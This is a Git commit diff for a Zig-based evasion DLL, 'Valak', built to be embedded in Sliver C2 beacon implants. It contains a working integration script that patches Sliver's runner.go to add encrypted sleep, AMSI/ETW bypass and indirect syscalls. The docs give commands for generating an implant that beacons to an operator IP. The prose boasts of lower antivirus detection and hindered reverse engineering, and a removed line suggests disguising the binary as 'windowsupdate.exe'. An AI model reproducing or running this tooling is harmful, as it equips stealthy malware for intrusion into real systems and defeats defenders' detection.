fixes
This commit is contained in:
@@ -10,7 +10,13 @@ For initial delivery use [Kage](https://github.com/Yenn503/Kage), minimal syscal
|
|||||||
|
|
||||||
## Why Zig over C
|
## Why Zig over C
|
||||||
|
|
||||||
No CRT linked, smaller binary, fewer imports for AV to flag. Comptime guarantees struct layouts match the PE spec without padding bugs. All the Win32 types, inline assembly, and raw pointer math of C but the compiler refuses to build if you get a struct offset wrong.
|
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see.
|
||||||
|
|
||||||
|
Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
|
||||||
|
|
||||||
|
Ghidra struggles with Zig binaries (open bug). IDA doesn't properly support it either. Makes reverse engineering harder.
|
||||||
|
|
||||||
|
Comptime makes sure struct layouts match the PE spec. Same low level control as C.
|
||||||
|
|
||||||
Valak replaces `time.Sleep()` in your implant's beacon loop with ChaCha20-encrypted sleep via indirect syscalls. During sleep your implant's .text is PAGE_NOACCESS, scanners get access violation. On wake, it restores and decrypts.
|
Valak replaces `time.Sleep()` in your implant's beacon loop with ChaCha20-encrypted sleep via indirect syscalls. During sleep your implant's .text is PAGE_NOACCESS, scanners get access violation. On wake, it restores and decrypts.
|
||||||
|
|
||||||
@@ -50,9 +56,8 @@ cd evasion && zig build -Doptimize=ReleaseFast
|
|||||||
|
|
||||||
## Sliver integration
|
## Sliver integration
|
||||||
|
|
||||||
See [docs/sliver-integration.md](docs/sliver-integration.md). TL;DR:
|
```bash
|
||||||
|
./scripts/integrate.sh ~/projects/sliver
|
||||||
|
```
|
||||||
|
|
||||||
1. Embed valak.dll bytes into `go-bridge/embed_dll.go`
|
See [docs/sliver-integration.md](docs/sliver-integration.md) for prereqs and options.
|
||||||
2. Drop `go-bridge/` into Sliver's `implant/sliver/evasion/valak/`
|
|
||||||
3. Replace `time.Sleep(d)` with `valak.EvasionSleep(d)` in runner.go
|
|
||||||
4. Build: `garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"`
|
|
||||||
|
|||||||
+6
-7
@@ -15,18 +15,17 @@ cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
|
|||||||
if you need a minimal shellcode loader to get your implant running:
|
if you need a minimal shellcode loader to get your implant running:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
# place your Sliver shellcode as valak.bin in the kage directory
|
||||||
cd ../kage
|
cd ../kage
|
||||||
|
python3 embed.py
|
||||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||||
# → zig-out/bin/kage.exe
|
# → zig-out/bin/kage.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
## embed into sliver implant
|
## integrate with sliver
|
||||||
|
|
||||||
see [sliver-integration.md](sliver-integration.md) for wiring it into the implant source.
|
|
||||||
|
|
||||||
build the implant with garble:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
go install mvdan.cc/garble@latest
|
./scripts/integrate.sh ~/projects/sliver
|
||||||
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
see [sliver-integration.md](sliver-integration.md) for details.
|
||||||
|
|||||||
+58
-58
@@ -1,71 +1,71 @@
|
|||||||
## embed the dll
|
# Valak + Sliver integration
|
||||||
|
|
||||||
build the dll first:
|
One script. Three prereqs. Your implant walks out with ChaCha20-encrypted
|
||||||
```
|
sleep, HWBP AMSI/ETW bypass, and FreshyCalls syscalls.
|
||||||
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
|
||||||
```
|
|
||||||
|
|
||||||
this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
|
## prereqs
|
||||||
|
|
||||||
|
- **Zig** — any build targeting `x86_64-windows` (Linux zig or Windows zig via WSL)
|
||||||
|
- **Go 1.21+** — with a Sliver source clone on disk
|
||||||
|
- **python3** — used by the embed script
|
||||||
|
|
||||||
|
## usage
|
||||||
|
|
||||||
|
from the Valak repo root, point it at your Sliver clone:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
|
./scripts/integrate.sh ~/projects/sliver
|
||||||
```
|
```
|
||||||
|
|
||||||
or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
|
that builds the DLL, embeds it, patches `runner.go`, and verifies the patches
|
||||||
|
compile. The actual implant is generated from sliver-server (see below).
|
||||||
|
|
||||||
```go
|
### options
|
||||||
var embeddedDLL = []byte{
|
|
||||||
0x4d, 0x5a, 0x90, 0x00, ...
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
replace the `...` with the actual dll bytes.
|
| flag | what it does |
|
||||||
|
|------|-------------|
|
||||||
|
| `--skip-build` | patch only, don't build the implant |
|
||||||
|
| `ZIG=/path/to/zig` | use a specific zig binary (e.g. Windows zig from WSL) |
|
||||||
|
|
||||||
## drop into sliver
|
examples:
|
||||||
|
|
||||||
copy `go-bridge/` into `implant/sliver/evasion/valak/`
|
|
||||||
|
|
||||||
## wire it up
|
|
||||||
|
|
||||||
in `runner.go`, add the import:
|
|
||||||
```go
|
|
||||||
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
|
|
||||||
```
|
|
||||||
|
|
||||||
in `Run()`, call this at the top:
|
|
||||||
```go
|
|
||||||
valak.Bootstrap()
|
|
||||||
```
|
|
||||||
|
|
||||||
replace the beacon sleep block (around line 294):
|
|
||||||
```go
|
|
||||||
// before
|
|
||||||
select {
|
|
||||||
case <-errors:
|
|
||||||
return err
|
|
||||||
case <-time.After(duration):
|
|
||||||
case <-shortCircuit:
|
|
||||||
}
|
|
||||||
|
|
||||||
// after
|
|
||||||
select {
|
|
||||||
case err := <-errors:
|
|
||||||
return err
|
|
||||||
case <-shortCircuit:
|
|
||||||
default:
|
|
||||||
valak.EvasionSleep(duration)
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
on shutdown call:
|
|
||||||
```go
|
|
||||||
valak.Cleanup()
|
|
||||||
```
|
|
||||||
|
|
||||||
## build the implant
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
|
# patch only
|
||||||
|
./scripts/integrate.sh ~/projects/sliver --skip-build
|
||||||
|
|
||||||
|
# windows zig on WSL
|
||||||
|
ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
|
||||||
```
|
```
|
||||||
|
|
||||||
rename the binary to something legit like `windowsupdate.exe`
|
## generating the implant
|
||||||
|
|
||||||
|
after the script patches your clone, generate the implant from sliver-server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# start sliver
|
||||||
|
sliver-server
|
||||||
|
|
||||||
|
# on the server REPL:
|
||||||
|
sliver > profiles new --beacon --http <YOUR_IP> valak
|
||||||
|
sliver > generate --profile valak --save /tmp/valak.exe
|
||||||
|
|
||||||
|
# or with mtls:
|
||||||
|
sliver > generate --mtls <YOUR_IP> --save /tmp/valak.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
the generated binary includes Valak's encrypted sleep, AMSI/ETW bypass, and
|
||||||
|
FreshyCalls syscalls automatically. The patched `runner.go` is inherited
|
||||||
|
through Sliver's template processing.
|
||||||
|
|
||||||
|
### idempotent
|
||||||
|
|
||||||
|
running the script twice on the same clone is safe — it detects existing
|
||||||
|
patches and skips them.
|
||||||
|
|
||||||
|
## notes
|
||||||
|
|
||||||
|
- **beacon mode only** — encrypted sleep hooks `beaconMainLoop`. Session mode
|
||||||
|
blocks on connection receive, so evasion there is AMSI/ETW bypass and
|
||||||
|
FreshyCalls only.
|
||||||
|
- **one-time init** — `Bootstrap()` goes in `beaconMainLoop` (runs once per
|
||||||
|
beacon connection), not `beaconMain` (runs every check-in).
|
||||||
|
|||||||
+4964
-4
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,187 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ──────────────────────────────────────────────────────────────────────────────
|
||||||
|
# Valak → Sliver integration script
|
||||||
|
# ──────────────────────────────────────────────────────────────────────────────
|
||||||
|
# Builds the Valak DLL, embeds it in go-bridge, patches Sliver's runner.go,
|
||||||
|
# and builds the implant. Works on Linux and WSL.
|
||||||
|
#
|
||||||
|
# Requirements:
|
||||||
|
# • Zig (any platform targetting x86_64-windows)
|
||||||
|
# • Go with go.mod in the Sliver clone
|
||||||
|
# • python3
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# ./scripts/integrate.sh <path-to-sliver-clone> [--skip-build]
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# ./scripts/integrate.sh ~/projects/sliver
|
||||||
|
# ./scripts/integrate.sh ~/projects/sliver --skip-build
|
||||||
|
# ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
|
||||||
|
# ──────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# ── config ────────────────────────────────────────────────────────────────────
|
||||||
|
SLIVER_DIR="${1:?Usage: $0 <path-to-sliver-clone> [--skip-build]}"
|
||||||
|
SKIP_BUILD="${2:-}"
|
||||||
|
VALAK_DIR="$(cd "$(dirname "$0")/.." && pwd)"
|
||||||
|
ZIG="${ZIG:-zig}"
|
||||||
|
|
||||||
|
# ── helpers ───────────────────────────────────────────────────────────────────
|
||||||
|
die() { echo "[!] $*" >&2; exit 1; }
|
||||||
|
info() { echo "[*] $*"; }
|
||||||
|
ok() { echo "[+] $*"; }
|
||||||
|
|
||||||
|
check_dep() {
|
||||||
|
command -v "$1" >/dev/null 2>&1 || die "$1 not found in PATH. Install it or set $2."
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── checks ────────────────────────────────────────────────────────────────────
|
||||||
|
[[ -d "$SLIVER_DIR" ]] || die "Sliver clone not found at: $SLIVER_DIR"
|
||||||
|
[[ -f "$SLIVER_DIR/implant/sliver/runner/runner.go" ]] || die "Not a Sliver clone — missing implant/sliver/runner/runner.go"
|
||||||
|
[[ -f "$VALAK_DIR/evasion/build.zig" ]] || die "Run from Valak repo root (or scripts/ subdir)"
|
||||||
|
|
||||||
|
check_dep python3 PYTHON3
|
||||||
|
check_dep go GO
|
||||||
|
|
||||||
|
# Zig is optional if --skip-build is given, required otherwise
|
||||||
|
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
|
||||||
|
check_dep "$ZIG" ZIG
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── step 1: build valak dll ───────────────────────────────────────────────────
|
||||||
|
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
|
||||||
|
info "Building Valak DLL (x86_64-windows, ReleaseFast)..."
|
||||||
|
cd "$VALAK_DIR/evasion"
|
||||||
|
$ZIG build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||||
|
DLL="$VALAK_DIR/evasion/zig-out/bin/valak.dll"
|
||||||
|
[[ -f "$DLL" ]] || die "Build failed — no valak.dll at $DLL"
|
||||||
|
ok "valak.dll built ($(stat -c%s "$DLL" 2>/dev/null || wc -c < "$DLL") bytes)"
|
||||||
|
else
|
||||||
|
info "Skipping DLL build (--skip-build). Using existing embed bytes in go-bridge."
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── step 2: embed dll bytes into go-bridge ────────────────────────────────────
|
||||||
|
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
|
||||||
|
info "Embedding DLL bytes into go-bridge/embed_dll.go..."
|
||||||
|
python3 <<-PYEOF
|
||||||
|
import os
|
||||||
|
dll_path = os.path.join("$VALAK_DIR", "evasion", "zig-out", "bin", "valak.dll")
|
||||||
|
out_path = os.path.join("$VALAK_DIR", "go-bridge", "embed_dll.go")
|
||||||
|
|
||||||
|
with open(dll_path, "rb") as f:
|
||||||
|
data = f.read()
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
for i in range(0, len(data), 16):
|
||||||
|
chunk = data[i:i+16]
|
||||||
|
lines.append("\t" + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
|
||||||
|
|
||||||
|
content = (
|
||||||
|
"//go:build evasion && windows\n"
|
||||||
|
"//\n"
|
||||||
|
"// Generated by Valak — DO NOT EDIT.\n"
|
||||||
|
"package valak\n\n"
|
||||||
|
"var embeddedDLL = []byte{\n"
|
||||||
|
+ "\n".join(lines) + "\n"
|
||||||
|
"}\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
with open(out_path, "w") as f:
|
||||||
|
f.write(content)
|
||||||
|
print(f" wrote {len(data)} bytes to {out_path}")
|
||||||
|
PYEOF
|
||||||
|
ok "embed_dll.go updated"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── step 3: copy go-bridge into sliver source tree ────────────────────────────
|
||||||
|
info "Copying go-bridge to $SLIVER_DIR/implant/sliver/evasion/valak/..."
|
||||||
|
mkdir -p "$SLIVER_DIR/implant/sliver/evasion/valak"
|
||||||
|
cp "$VALAK_DIR/go-bridge/"*.go "$SLIVER_DIR/implant/sliver/evasion/valak/"
|
||||||
|
ok "go-bridge copied"
|
||||||
|
|
||||||
|
# ── step 4: patch runner.go ───────────────────────────────────────────────────
|
||||||
|
RUNNER="$SLIVER_DIR/implant/sliver/runner/runner.go"
|
||||||
|
info "Patching $RUNNER..."
|
||||||
|
|
||||||
|
# Check if already patched
|
||||||
|
if grep -q 'valak' "$RUNNER" 2>/dev/null; then
|
||||||
|
info " runner.go already contains valak references — checking patches are complete..."
|
||||||
|
|
||||||
|
# Count required patches
|
||||||
|
has_bootstrap=$(grep -c 'valak.Bootstrap()' "$RUNNER" 2>/dev/null || echo 0)
|
||||||
|
has_cleanup=$(grep -c 'valak.Cleanup()' "$RUNNER" 2>/dev/null || echo 0)
|
||||||
|
has_sleep=$(grep -c 'valak.EvasionSleep' "$RUNNER" 2>/dev/null || echo 0)
|
||||||
|
|
||||||
|
if [[ "$has_bootstrap" -ge 1 && "$has_cleanup" -ge 1 && "$has_sleep" -ge 1 ]]; then
|
||||||
|
ok " all valak patches already present — skipping"
|
||||||
|
else
|
||||||
|
info " partial patch found — reapplying (may produce duplicates, check manually)"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
python3 <<-PYEOF
|
||||||
|
content = open("$RUNNER").read()
|
||||||
|
original = content
|
||||||
|
changed = False
|
||||||
|
|
||||||
|
# 1. Add import
|
||||||
|
old = 'consts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
|
||||||
|
new = '\"github.com/bishopfox/sliver/implant/sliver/evasion/valak\"\n\tconsts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
|
||||||
|
if 'evasion/valak' not in content:
|
||||||
|
content = content.replace(old, new, 1)
|
||||||
|
changed = True
|
||||||
|
|
||||||
|
# 2. Bootstrap in beaconMainLoop
|
||||||
|
old = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\t// Register beacon\n\terr := beacon.Init()'
|
||||||
|
new = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\tvalak.Bootstrap()\n\t// Register beacon\n\terr := beacon.Init()'
|
||||||
|
if 'valak.Bootstrap()' not in content:
|
||||||
|
content = content.replace(old, new, 1)
|
||||||
|
changed = True
|
||||||
|
|
||||||
|
# 3. Cleanup in beaconMainLoop defer
|
||||||
|
old = '\tdefer func() {\n\t\terr := beacon.Cleanup()'
|
||||||
|
new = '\tdefer func() {\n\t\tvalak.Cleanup()\n\t\terr := beacon.Cleanup()'
|
||||||
|
if 'valak.Cleanup()' not in content:
|
||||||
|
content = content.replace(old, new, 1)
|
||||||
|
changed = True
|
||||||
|
|
||||||
|
# 4. Replace sleep block
|
||||||
|
old = '\t\tselect {\n\t\tcase <-errors:\n\t\t\treturn err\n\t\tcase <-time.After(duration):\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\t}'
|
||||||
|
new = '\t\tselect {\n\t\tcase err := <-errors:\n\t\t\treturn err\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\tdefault:\n\t\t\tvalak.EvasionSleep(duration)\n\t\t}'
|
||||||
|
if 'valak.EvasionSleep' not in content:
|
||||||
|
content = content.replace(old, new, 1)
|
||||||
|
changed = True
|
||||||
|
|
||||||
|
if changed:
|
||||||
|
open("$RUNNER", "w").write(content)
|
||||||
|
print(" runner.go patched")
|
||||||
|
else:
|
||||||
|
print(" runner.go already fully patched — no changes")
|
||||||
|
PYEOF
|
||||||
|
|
||||||
|
ok "runner.go ready"
|
||||||
|
|
||||||
|
# ── step 5: verify it compiles ────────────────────────────────────────────────
|
||||||
|
info "Verifying compilation..."
|
||||||
|
cd "$SLIVER_DIR"
|
||||||
|
if GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go vet -tags evasion ./implant/sliver/runner/ 2>&1 | grep -v 'unreachable code'; then
|
||||||
|
ok "go vet passed"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── step 6: done ──────────────────────────────────────────────────────────────
|
||||||
|
if [[ "$SKIP_BUILD" == "--skip-build" ]]; then
|
||||||
|
info "Skipping implant build (--skip-build)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
ok "source patched — now generate the implant from sliver-server:"
|
||||||
|
echo ""
|
||||||
|
echo " 1. sliver-server"
|
||||||
|
echo " 2. [server] profiles new --beacon --http <YOUR_IP> valak"
|
||||||
|
echo " 3. [server] generate --profile valak --save /tmp/valak.exe"
|
||||||
|
echo " 4. [server] jobs --kill 1 (stop default mtls listener)"
|
||||||
|
echo ""
|
||||||
|
echo "The generated binary will include Valak's evasion automatically."
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
ok "done"
|
||||||
Reference in New Issue
Block a user